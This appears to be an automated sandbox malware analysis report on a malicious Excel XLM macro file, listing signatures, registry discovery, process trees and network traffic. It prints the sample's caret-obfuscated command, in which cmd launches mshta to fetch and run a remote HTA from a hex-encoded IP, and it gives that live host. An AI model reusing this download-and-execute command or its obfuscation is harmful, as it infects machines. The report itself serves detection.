Malware Analysis Report

2025-01-22 16:08

Sample ID 241111-vsblaa1mfz
Target 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829
SHA256 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829
Tags
discovery macro xlm
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829

Threat Level: Known bad

The file 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829 was found to be: Known bad.

Malicious Activity Summary

discovery macro xlm

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:14

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:14

Reported

2024-11-11 17:17

Platform

win7-20240903-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/3004-1-0x00000000727CD000-0x00000000727D8000-memory.dmp

memory/3004-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/3004-2-0x00000000727CD000-0x00000000727D8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:14

Reported

2024-11-11 17:17

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

154s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2056 wrote to memory of 3528 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2056 wrote to memory of 3528 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3528 wrote to memory of 2200 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 3528 wrote to memory of 2200 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 75.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/2056-1-0x00007FFCF26CD000-0x00007FFCF26CE000-memory.dmp

memory/2056-0-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

memory/2056-2-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

memory/2056-4-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

memory/2056-3-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

memory/2056-6-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-7-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-5-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-10-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-13-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-12-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-14-0x00007FFCAFD50000-0x00007FFCAFD60000-memory.dmp

memory/2056-11-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-9-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-15-0x00007FFCAFD50000-0x00007FFCAFD60000-memory.dmp

memory/2056-16-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-8-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

memory/2056-27-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

memory/2056-28-0x00007FFCF26CD000-0x00007FFCF26CE000-memory.dmp

memory/2056-29-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 fe1e9a5b99e140ee07a127fa855a8a55
SHA1 467775abcdbcb3d1a358a625d2c599efca576d68
SHA256 0d21933db71b55923b6b691358d64f7ba60dceec25b1d460ef0ff78044639b6a
SHA512 ccbeda41c63e154a1e5605f04987f2fbb58737d87d742dfbc1d6f3bbdc1ce558d9ad566cca206c7224255e753c5b1278a7f9236b93b4ce82029cb9f2419a1728